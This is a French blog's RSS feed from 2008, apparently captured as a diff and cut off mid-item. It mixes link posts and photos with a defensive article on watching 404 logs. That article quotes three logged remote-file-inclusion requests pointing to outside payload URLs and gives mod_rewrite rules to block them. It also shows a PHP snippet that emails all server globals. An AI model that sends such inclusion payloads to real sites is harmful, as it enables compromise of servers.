+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fpiclens-fonctionne-maintenant-sur-gastero-prod.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/piclens-fonctionne-maintenant-sur-gastero-prod.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : CommandShift3 - It's like Hot or Not for web design</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/304586336/</link>\r
+         <description>Mieux qu'un HotOrNot finalement trop complexe avec son échelle de notes, ici vous votez pour le gagnant d'une comparaison purement design entre deux sites web, et vous pouvez proposer le votre&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/304586336" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_901b525b50a80d88b9d1b2932d3ddbe7</guid>\r
+         <pubDate>Wed, 04 Jun 2008 06:48:48 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fcommandshift3.com%2F</feedburner:awareness><feedburner:origLink>http://commandshift3.com/</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : TinEye, un système bluffant de reconnaissance d'images sur Internet</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/303959904/tineye-un-systeme-bluffant-de-reconnaissance-d-images-sur-internet.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;&lt;a rel="nofollow" target="_blank" href="http://www.ideeinc.com/" class="spip_out"&gt;Idée Inc.&lt;/a&gt; vient de lancer &lt;a rel="nofollow" target="_blank" href="http://tineye.com/" class="spip_out"&gt;TinEye&lt;/a&gt;, un nouveau service en ligne de recherche d&amp;#8217;images sur Internet, et là où les moteurs de recherche d&amp;#8217;images traditionnels se basaient sur le nom du fichier ou le contenu des pages intégrant les images, c&amp;#8217;est une vraie recherche par le contenu de l&amp;#8217;image qui est proposée. j&amp;#8217;étais légèrement dubitatif lorsque j&amp;#8217;en ai entendu parlé pour la première fois, mais j&amp;#8217;ai eu accès à la &lt;i&gt;beta&lt;/i&gt; privée, et c&amp;#8217;est réellement bluffant&amp;nbsp;!&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;J&amp;#8217;ai pris comme exemple cette fameuse photo de l&amp;#8217;actrice &lt;a rel="nofollow" target="_blank" href="http://fr.wikipedia.org/wiki/Zhang_Ziyi" class="spip_out"&gt;Zhang Ziyi&lt;/a&gt; que tant de gens &lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/blog/halte-au-vol-de-bande-passante.html" class="spip_in"&gt;intègrent à leurs contenus directement depuis Gastero Prod&lt;/a&gt;&amp;nbsp;:&lt;/p&gt; &lt;dl class='spip_document_186 spip_documents spip_documents_center'&gt;\r
+&lt;dt&gt;&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L300xH200/zhang_ziyi-1211808814.jpg' width='300' height='200' alt='JPEG - 14.4 ko' style='height:200px;width:300px;'/&gt;&lt;/dt&gt;\r
+&lt;dt class='spip_doc_titre' style='width:300px;'&gt;&lt;strong&gt;Lune (Zhang Ziyi)&lt;/strong&gt;&lt;/dt&gt;\r
+&lt;/dl&gt;\r
+&lt;p&gt;En lançant TinEye directement sur la page de mon article avec l&amp;#8217;&lt;a rel="nofollow" target="_blank" href="http://tineye.com/plugin" class="spip_out"&gt;extension Firefox&lt;/a&gt;&amp;nbsp;:&lt;/p&gt; &lt;dl class='spip_document_495 spip_documents spip_documents_center'&gt;\r
+&lt;dt&gt;&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/IMG/png/tineye-firefox.png" title='PNG - 461.4 ko'&gt;&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L400xH277/tineye-firefox-442cd-1214385255.png' width='400' height='277' alt='PNG - 461.4 ko' style='height:277px;width:400px;'/&gt;&lt;/a&gt;&lt;/dt&gt;\r
+&lt;dt class='spip_doc_titre' style='width:350px;'&gt;&lt;strong&gt;Lancement de la recherche&lt;/strong&gt;&lt;/dt&gt;\r
+&lt;/dl&gt;\r
+&lt;p&gt;J&amp;#8217;obtiens 13 résultats&amp;nbsp;:&lt;/p&gt; &lt;dl class='spip_document_496 spip_documents spip_documents_center'&gt;\r
+&lt;dt&gt;&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/IMG/png/tineye-resultat.png" title='PNG - 626.2 ko'&gt;&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L204xH400/tineye-resultat-0e008-1214385268.png' width='204' height='400' alt='PNG - 626.2 ko' style='height:400px;width:204px;'/&gt;&lt;/a&gt;&lt;/dt&gt;\r
+&lt;dt class='spip_doc_titre' style='width:204px;'&gt;&lt;strong&gt;Premiers résultat de la recherche&lt;/strong&gt;&lt;/dt&gt;\r
+&lt;/dl&gt;\r
+&lt;p&gt;Dont l&amp;#8217;un n&amp;#8217;est vraiment pas une simple copie ou redécoupage de la photo recherchée, mais une version légèrement altérée&amp;nbsp;:&lt;/p&gt; &lt;dl class='spip_document_497 spip_documents spip_documents_center'&gt;\r
+&lt;dt&gt;&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/IMG/png/tineye-resultat-balaise.png" title='PNG - 40.9 ko'&gt;&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L400xH137/tineye-resultat-balaise-77c54-1214385270.png' width='400' height='137' alt='PNG - 40.9 ko' style='height:137px;width:400px;'/&gt;&lt;/a&gt;&lt;/dt&gt;\r
+&lt;dt class='spip_doc_titre' style='width:350px;'&gt;&lt;strong&gt;Un résultat particulièrement intéressant&lt;/strong&gt;&lt;/dt&gt;\r
+&lt;/dl&gt;\r
+&lt;p&gt;TinEye permet donc une vraie recherche de photos, même légèrement altérées, et on peut notamment imaginer un jour l&amp;#8217;utiliser si l&amp;#8217;on est photographe pour vérifier que personne n&amp;#8217;utilise nos photos sans autorisation...&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/303949306" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/303959904" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/tineye-un-systeme-bluffant-de-reconnaissance-d-images-sur-internet.html</guid>\r
+         <pubDate>Tue, 03 Jun 2008 10:44:00 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Ftineye-un-systeme-bluffant-de-reconnaissance-d-images-sur-internet.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/tineye-un-systeme-bluffant-de-reconnaissance-d-images-sur-internet.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Surveillez vos erreurs 404, elles peuvent être très instructives</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/303277307/surveillez-vos-erreurs-404-elles-peuvent-etre-tres-instructives.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;A l&amp;#8217;heure où tout le monde ne jure que par l&amp;#8217;optimisation du référencement &amp;mdash; on dit &lt;i&gt;Search Engine Optimization&lt;/i&gt;, ou SEO, pour faire branché &amp;mdash; afin d&amp;#8217;augmenter son trafic, et ainsi ses clients potentiels et/ou son revenu publicitaire, qui se soucie de vérifier ce qui se passe pour les internautes qui arrivent bien sur le site, mais sur une page qui n&amp;#8217;existe pas, indiquée comme il se doit par une erreur HTTP 404&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb1" name="nh1" id="nh1" class="spip_note" title='[1] Oui, c'&gt;1&lt;/a&gt;]&amp;nbsp;?&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;Si vous ne vous en souciez pas, commencez tout de suite à le faire, il y a beaucoup à apprendre, et sans doute beaucoup d&amp;#8217;améliorations à apporter à votre site.&lt;/p&gt; &lt;p&gt;Le moyen le plus simple de connaître les URL en erreur 404 sur lesquelles arrivent les internautes, c&amp;#8217;est d&amp;#8217;abord de s&amp;#8217;intéresser à celles qui sont référencées dans les moteurs de recherche, dont Google. On peut trouver justement un référencement des pages en erreur, dont celles en 404, au sein des &lt;a rel="nofollow" target="_blank" href="https://www.google.com/webmasters/tools/" class="spip_out"&gt;outils Google pour les webmasters&lt;/a&gt;.&lt;/p&gt; &lt;dl class='spip_document_494 spip_documents spip_documents_center'&gt;\r
+&lt;dt&gt;&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/IMG/png/google-webmasters-404.png" title='PNG - 150.8 ko'&gt;&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L400xH205/google-webmasters-404-26c99-1214385273.png' width='400' height='205' alt='PNG - 150.8 ko' style='height:205px;width:400px;'/&gt;&lt;/a&gt;&lt;/dt&gt;\r
+&lt;dt class='spip_doc_titre' style='width:350px;'&gt;&lt;strong&gt;Erreurs 404 de Gastero Prod référencées par Google&lt;/strong&gt;&lt;/dt&gt;\r
+&lt;/dl&gt;\r
+&lt;p&gt;Une autre méthode plus basique et source potentielle d&amp;#8217;explosion de compte mail est de se faire envoyer un mail à chaque requête donnant une erreur. C&amp;#8217;est ce que j&amp;#8217;ai fait dans mon squelette &lt;code class='spip_code' dir='ltr'&gt;404.html&lt;/code&gt; pour Gastero Prod, en donnant au passage quelques informations utiles de contexte d&amp;#8217;appel&amp;nbsp;:&lt;/p&gt; &lt;div style='text-align:left;' class='spip_code' dir='ltr'&gt;&lt;code&gt;&amp;lt;?php&lt;br /&gt;\r
+mail('adresse@example.com',&lt;br /&gt;\r
+&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; '[GP404] '.$_SERVER['REQUEST_URI'],&lt;br /&gt;\r
+&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; '#URL_SITE_SPIP'.$_SERVER['REQUEST_URI']."&amp;#92;r&amp;#92;n".'User agent: '.$_SERVER['HTTP_USER_AGENT']."&amp;#92;r&amp;#92;n".'Referer: '.$_SERVER['HTTP_REFERER']."&amp;#92;r&amp;#92;n".print_r($GLOBALS, true),&lt;br /&gt;\r
+&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 'From: adresse@example.com');&lt;br /&gt;\r
+}&lt;br /&gt;\r
+?&amp;gt;&lt;/code&gt;&lt;/div&gt;\r
+&lt;p&gt;Identifier les erreurs 404 permet d&amp;#8217;améliorer un site sur plusieurs sujets&amp;nbsp;:&lt;/p&gt; &lt;h3 class="spip"&gt;La qualité du référencement&lt;/h3&gt;\r
+&lt;p&gt;Si un internaute arrive sur votre site depuis un moteur de recherche, et tombe sur une erreur 404, c&amp;#8217;est qu&amp;#8217;il y a un soucis dans votre référencement, sans doute parce que votre site ou un autre site contient des liens qui pointent vers ces mauvaises URL, liens qui existent&amp;nbsp;:&lt;/p&gt; &lt;ul class="spip"&gt;&lt;li&gt; soit par simple erreur de frappe, ce qu&amp;#8217;un bon &lt;a rel="nofollow" target="_blank" href="http://www.clever-age.com/veille/clever-link/les-outils-de-gestion-de-contenu.html" class="spip_out"&gt;outil de gestion de contenus Web&lt;/a&gt; devrait permettre d&amp;#8217;éviter,&lt;/li&gt;&lt;li&gt; soit parce que vous avez modifié vos URL, ce qu&amp;#8217;il ne faut surtout &lt;a rel="nofollow" target="_blank" href="http://www.w3.org/Provider/Style/URI" class="spip_out"&gt;pas faire&lt;/a&gt; !,&lt;/li&gt;&lt;li&gt; soit parce que des URL déterminées et gérées automatiquement sont mal configurées.&lt;/li&gt;&lt;/ul&gt;\r
+&lt;p&gt;En observant les erreurs 404 relevées par Google, j&amp;#8217;ai pu corriger de nombreux problèmes apparus sur Gastero Prod, notamment avec le petit changement opéré sur les URL&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb2" name="nh2" id="nh2" class="spip_note" title='[2] Oui, je sais, c'&gt;2&lt;/a&gt;] pour que les articles du blog ne soient plus à la racine mais dans une sous rubrique &lt;code class='spip_code' dir='ltr'&gt;blog/&lt;/code&gt; et surtout un mélange entre URL absolues et URL relative, pas encore totalement bien gérées dans SPIP avec des URL arborescentes.&lt;/p&gt; &lt;p&gt;Il n&amp;#8217;y a bien entendu pas que le nettoyage des erreurs 404 qui permet d&amp;#8217;améliorer la qualité du référencement, mais c&amp;#8217;est un autre sujet...&lt;/p&gt; &lt;h3 class="spip"&gt;Les performances, la consommation de bande passante, et donc potentiellement le coût de l&amp;#8217;hébergement&lt;/h3&gt;\r
+&lt;p&gt;Si vous faites en sorte de diminuer les erreurs 404 sur votre site, quelles qu&amp;#8217;en soit les causes, les internautes ne téléchargeront que les pages réellement intéressantes, et vous réduirez le gaspillage de ressources de votre serveur, ainsi que la bande passante consommée.&lt;/p&gt; &lt;p&gt;Selon la nature de votre hébergement, cela peut avoir un impact &amp;mdash; positif à priori &amp;mdash; sur son coût, ce qui peut s&amp;#8217;avérer intéressant comme motivation.&lt;/p&gt; &lt;h3 class="spip"&gt;La sécurité&lt;/h3&gt;\r
+&lt;p&gt;Vous pouvez aussi identifier, dans les erreurs 404, des attaques essayant de profiter de failles de sécurité de solutions packagées.&lt;/p&gt; &lt;p&gt;Par exemple, un requête revenant ces derniers temps dans mes logs de 404 est la suivante&amp;nbsp;:&lt;/p&gt; &lt;p&gt;&lt;code class='spip_code' dir='ltr'&gt;http://www.gasteroprod.com/infoevent.php3?rootagenda=http://love-ma2.t35.com/sistem.txt?&lt;/code&gt;&lt;/p&gt; &lt;p&gt;En cherchant &lt;code class='spip_code' dir='ltr'&gt;infoevent.php3&lt;/code&gt; sur Google, j&amp;#8217;ai découvert qu&amp;#8217;il s&amp;#8217;agit d&amp;#8217;un script faisant justement l&amp;#8217;objet d&amp;#8217;une &lt;a rel="nofollow" target="_blank" href="http://www.securityfocus.com/bid/29164" class="spip_out"&gt;faille de sécurité de phpMyAgenda&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Comme par hasard, le client ayant fait cette requête n&amp;#8217;est pas un navigateur traditionnel, mais s&amp;#8217;identifie comme étant &lt;code class='spip_code' dir='ltr'&gt;libwww-perl/5.803&lt;/code&gt;. C&amp;#8217;est donc bien un programme qui tente l&amp;#8217;attaque, sauf falsification de signature qui serait ici inepte.&lt;/p&gt; &lt;p&gt;Autre exemple avec cette requête&amp;nbsp;:&lt;/p&gt; &lt;p&gt;&lt;code class='spip_code' dir='ltr'&gt;http://www.gasteroprod.com//tags.php?BBCodeFile=http://guhit.com/img/id.txt?&lt;/code&gt;&lt;/p&gt; &lt;p&gt;Requête qui correspond à une &lt;a rel="nofollow" target="_blank" href="http://www.securityfocus.com/bid/19464" class="spip_out"&gt;faille de sécurité de Tagger LE&lt;/a&gt;, et qui est demandée comme par hasard aussi par un client &lt;code class='spip_code' dir='ltr'&gt;libwww-perl/5.812&lt;/code&gt;&amp;nbsp;!&lt;/p&gt; &lt;p&gt;Dernier exemple avec cette requête&amp;nbsp;:&lt;/p&gt; &lt;p&gt;&lt;code class='spip_code' dir='ltr'&gt;http://www.gasteroprod.com//chat/users_popupL.php3?From=http://www.covoiturage.fr/communities/arab.txt??&lt;/code&gt;&lt;/p&gt; &lt;p&gt;Requête qui correspond à une &lt;a rel="nofollow" target="_blank" href="http://osvdb.org/39224" class="spip_out"&gt;faille de sécurité de phpMyChat&lt;/a&gt;&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb3" name="nh3" id="nh3" class="spip_note" title='[3] Oups oups oups !'&gt;3&lt;/a&gt;], et qui est demandée comme par hasard une fois de plus par un client &lt;code class='spip_code' dir='ltr'&gt;libwww-perl/5.805&lt;/code&gt;&amp;nbsp;!&lt;/p&gt; &lt;p&gt;Je tiens à signaler aux hackers qui me liraient que je n&amp;#8217;utilise aucune de ces applications, ni aucune des nombreuses autres auxquelles s&amp;#8217;adressent les autres attaques que je subi...&lt;/p&gt; &lt;p&gt;Faudrait-il donc refuser systématiquement toute requête signée par &lt;code class='spip_code' dir='ltr'&gt;libwww-perl&lt;/code&gt;&amp;nbsp;?&lt;/p&gt; &lt;p&gt;En tout cas, vous pouvez déjà refuser les requêtes clairement identifiables comme des attaques brutales, par exemple comme ceci si vous avez le module &lt;code class='spip_code' dir='ltr'&gt;mod_rewrite&lt;/code&gt; pour Apache&amp;nbsp;:&lt;/p&gt; &lt;div style='text-align:left;' class='spip_code' dir='ltr'&gt;&lt;code&gt;# Bloquer certaines attaques brutales pas fines&lt;br /&gt;\r
+# http://www.securityfocus.com/bid/19464&lt;br /&gt;\r
+RewriteCond %{QUERY_STRING} &amp;amp;?BBCodeFile=([^&amp;amp;]+)&lt;br /&gt;\r
+RewriteRule tags&amp;#92;.php - [F,L]&lt;br /&gt;\r
+# http://www.securityfocus.com/bid/29164&lt;br /&gt;\r
+RewriteCond %{QUERY_STRING} &amp;amp;?rootagenda=([^&amp;amp;]+)&lt;br /&gt;\r
+RewriteRule infoevent&amp;#92;.php3 - [F,L]&lt;br /&gt;\r
+# http://osvdb.org/39224&lt;br /&gt;\r
+RewriteCond %{QUERY_STRING} &amp;amp;?From=([^&amp;amp;]+)&lt;br /&gt;\r
+RewriteRule users_popupL&amp;#92;.php3 - [F,L]&lt;/code&gt;&lt;/div&gt;\r
+&lt;p&gt;Voilà, vous êtes prévenus, n&amp;#8217;ignorez plus vos erreurs 404, agissez&amp;nbsp;!&lt;/p&gt;&lt;/div&gt; &lt;div style="border:1px solid #333;"&gt;&lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh1" name="nb1" class="spip_note" title="Notes 1"&gt;1&lt;/a&gt;] Oui, c&amp;#8217;est la règle, mais certains ne la respectent pas, bien entendu...&lt;/p&gt;&lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh2" name="nb2" class="spip_note" title="Notes 2"&gt;2&lt;/a&gt;] Oui, je sais, c&amp;#8217;est mal, mais j&amp;#8217;ai mis des redirections permanentes au moins, moi&amp;nbsp;! &lt;img alt=";-)" title=";-)" class="no_image_filtrer format_png" src="http://www.gasteroprod.com/plugins/zone/_stable_/couteau_suisse/img/smileys/clin_d-oeil.png" width="19" height="19"/&gt;&lt;/p&gt; &lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh3" name="nb3" class="spip_note" title="Notes 3"&gt;3&lt;/a&gt;] Oups oups oups&amp;nbsp;! &lt;img alt=":-(" title=":-(" class="no_image_filtrer format_png" src="http://www.gasteroprod.com/plugins/zone/_stable_/couteau_suisse/img/smileys/pas_content.png" width="19" height="19"/&gt;&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/303260572" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/303277307" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/surveillez-vos-erreurs-404-elles-peuvent-etre-tres-instructives.html</guid>\r
+         <pubDate>Mon, 02 Jun 2008 13:31:44 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fsurveillez-vos-erreurs-404-elles-peuvent-etre-tres-instructives.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/surveillez-vos-erreurs-404-elles-peuvent-etre-tres-instructives.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Photo : Une autre fenêtre de Burano</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/302844185/une-autre-fenetre-de-burano.html</link>\r
+         <description>&lt;img src="http://www.gasteroprod.com/local/cache-vignettes/L245xH184/arton685-a3cc3.jpg" alt='Une autre fen&amp;#234;tre de Burano' width='245' height='184' class='spip_logos' style='height:184px;width:245px;'/&gt;&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;L&amp;#8217;île vénitienne de &lt;a rel="nofollow" target="_blank" href="http://fr.wikipedia.org/wiki/Burano" class="spip_out"&gt;Burano&lt;/a&gt; est célèbre pour sa dentelle et ses maisons très colorées, en voici un exemple.&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;Il paraît que les habitants sont obligés par la mairie de repeindre régulièrement leurs façades, pour ne pas perdre l&amp;#8217;attrait de cette destination pour les touristes&amp;nbsp;!&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/302844185" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../photos/mes-photos/une-autre-fenetre-de-burano.html</guid>\r
+         <pubDate>Mon, 02 Jun 2008 00:44:31 PDT</pubDate>\r
+         <media:thumbnail url="http://www.gasteroprod.com/local/cache-vignettes/L245xH184/arton685-a3cc3.jpg" />\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Ffeeds.feedburner.com%2F%7Er%2FGasteroProd%2FPhotos%2F%7E3%2F302833525%2Fune-autre-fenetre-de-burano.html</feedburner:awareness><feedburner:origLink>http://feeds.feedburner.com/~r/GasteroProd/Photos/~3/302833525/une-autre-fenetre-de-burano.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : nhoizey.muxtape.com</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/299092098/</link>\r
+         <description>Ma petite MuxTape à moi, un grave mélange de genres, à l'image de mes goûts éclectiques&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/299092098" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_dbc25da7947d8f115e6d781ab1a16402</guid>\r
+         <pubDate>Tue, 27 May 2008 04:25:19 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fnhoizey.muxtape.com%2F</feedburner:awareness><feedburner:origLink>http://nhoizey.muxtape.com/</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Weezer : « Pork and Beans »</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/298938269/watch</link>\r
+         <description>Voilà un clip excellent reprenant et détournant certaines des vidéos les plus célèbres de YouTube, idée géniale !&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/298938269" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_59185e71b0ddc24a44b91a11ddb0cb3a</guid>\r
+         <pubDate>Tue, 27 May 2008 01:09:06 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DmuP9eH2p2PI</feedburner:awareness><feedburner:origLink>http://www.youtube.com/watch?v=muP9eH2p2PI</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Citation de Jean Anouihl</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/298574884/citation-de-jean-anouihl.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;Ce n&amp;#8217;est pas tout d&amp;#8217;avoir de jolis yeux, il faut qu&amp;#8217;une petite lampe s&amp;#8217;allume derrière. C&amp;#8217;est cette petite lueur qui fait la vraie beauté.&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/298567076" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/298574884" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/citation-de-jean-anouihl.html</guid>\r
+         <pubDate>Mon, 26 May 2008 11:10:00 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fcitation-de-jean-anouihl.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/citation-de-jean-anouihl.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Gandi m'a (presque) tuer, mais je n'ai pas déserté !</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/298285255/gandi-m-a-presque-tuer-mais-je-n-ai-pas-deserte.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;Si vous venez de temps en temps vous balader sur ce site&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb2-1" name="nh2-1" id="nh2-1" class="spip_note" title='[1] Levez la main que je vous compte !'&gt;1&lt;/a&gt;], vous avez peut-être eu la déception de découvrir qu&amp;#8217;il ne répondait plus pendant une semaine. Non, je n&amp;#8217;ai pas succombé à l&amp;#8217;incroyable faille de sécurité SSH présente dans Debian Linux&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb2-2" name="nh2-2" id="nh2-2" class="spip_note" title='[2] Oui, c'&gt;2&lt;/a&gt;] depuis deux ans, c&amp;#8217;est tout simplement que &lt;a rel="nofollow" target="_blank" href="http://iwi.lebardegandi.net/post/2008/05/21/Le-filer-13-%3A-Epilogue" class="spip_out"&gt;mon hébergeur Gandi a eu des soucis matériels&lt;/a&gt; dont j&amp;#8217;ai subit des effets de bord.&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;Comme vous le savez déjà, &lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/blog/c-est-la-saison-migratoire.html" class="spip_in"&gt;j&amp;#8217;ai migré Gastero Prod vers Gandi&lt;/a&gt; il y a déjà 3 mois, et j&amp;#8217;étais jusqu&amp;#8217;à présent totalement satisfait du rapport coût/qualité de service.&lt;/p&gt; &lt;h3 class="spip"&gt;Chronique d&amp;#8217;une semaine sans site&lt;/h3&gt;\r
+&lt;p&gt;Malheureusement, une des plateformes supportant l&amp;#8217;architecture est &lt;a rel="nofollow" target="_blank" href="http://www.lebardegandi.net/post/2008/05/16/Problemes-de-disques" class="spip_out"&gt;tombé en carafe &lt;strong&gt;jeudi 15 mai&lt;/strong&gt; en début d&amp;#8217;après-midi&lt;/a&gt;. Ma machine virtuelle ne se trouvait heureusement pas sur le &amp;#171;&amp;nbsp;filer 13&amp;nbsp;&amp;#187;, donc je n&amp;#8217;ai perdu aucune donnée, mais &lt;a rel="nofollow" target="_blank" href="http://www.lebardegandi.net/post/2008/05/16/Problemes-de-disques#c165464" class="spip_out"&gt;j&amp;#8217;ai subit des effets de bord rendant le site indisponible&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;&lt;span class='spip_document_493 spip_documents spip_documents_center'&gt;\r
+&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L326xH86/logo-gandi-hebergement-1211808820.png' width='326' height='86' alt="" style='height:86px;width:326px;'/&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Après 3 jours de petite angoisse, &lt;a rel="nofollow" target="_blank" href="http://www.lebardegandi.net/post/2008/05/16/Problemes-de-disques#c165741" class="spip_out"&gt;Gastero Prod est finalement revenu en ligne &lt;strong&gt;dimanche&lt;/strong&gt;&lt;/a&gt;...&lt;/p&gt; &lt;p&gt;...pour &lt;a rel="nofollow" target="_blank" href="http://www.lebardegandi.net/post/2008/05/18/Problemes-de-disques-en-cours-de-resolution#c165913" class="spip_out"&gt;retomber à nouveau entre dimanche après-midi et lundi matin&lt;/a&gt;&amp;nbsp;! &lt;img alt=":-(" title=":-(" class="no_image_filtrer format_png" src="http://www.gasteroprod.com/plugins/zone/_stable_/couteau_suisse/img/smileys/pas_content.png" width="19" height="19"/&gt;&lt;/p&gt; &lt;p&gt;Nicolas de Gandi a heureusement réagit &lt;strong&gt;lundi&lt;/strong&gt; pour me signaler qu&amp;#8217;il travaillait dessus, et que &lt;a rel="nofollow" target="_blank" href="http://www.lebardegandi.net/post/2008/05/18/Problemes-de-disques-en-cours-de-resolution#c165926" class="spip_out"&gt;ma machine était visiblement en Kernel Panic&lt;/a&gt;. Je partageais de plus en plus cet état, désespérant de revoir Gastero Prod en ligne sous peu.&lt;/p&gt; &lt;p&gt;&lt;a rel="nofollow" target="_blank" href="http://www.lebardegandi.net/post/2008/05/18/Problemes-de-disques-en-cours-de-resolution#c166017" class="spip_out"&gt;Sans nouvelles le &lt;strong&gt;mercredi&lt;/strong&gt; matin&lt;/a&gt;, &lt;a rel="nofollow" target="_blank" href="http://www.lebardegandi.net/post/2008/05/18/Problemes-de-disques-en-cours-de-resolution#c166022" class="spip_out"&gt;Nicolas me disait à nouveau qu&amp;#8217;il s&amp;#8217;occupait de moi&lt;/a&gt;, mais j&amp;#8217;avais de plus en plus de mal à le croire.&lt;/p&gt; &lt;p&gt;Histoire de détruire le peu d&amp;#8217;espoir qu&amp;#8217;il me restait, &lt;a rel="nofollow" target="_blank" href="http://www.lebardegandi.net/post/2008/05/18/Problemes-de-disques-en-cours-de-resolution#c166032" class="spip_out"&gt;Laura de Gandi suggère alors en début d&amp;#8217;après-midi qu&amp;#8217;une part ne suffit pas pour une plateforme LAMP&lt;/a&gt; &amp;mdash; un site SPIP comme celui-ci par exemple &amp;mdash; ce qui confirme malheureusement les &lt;a rel="nofollow" target="_blank" 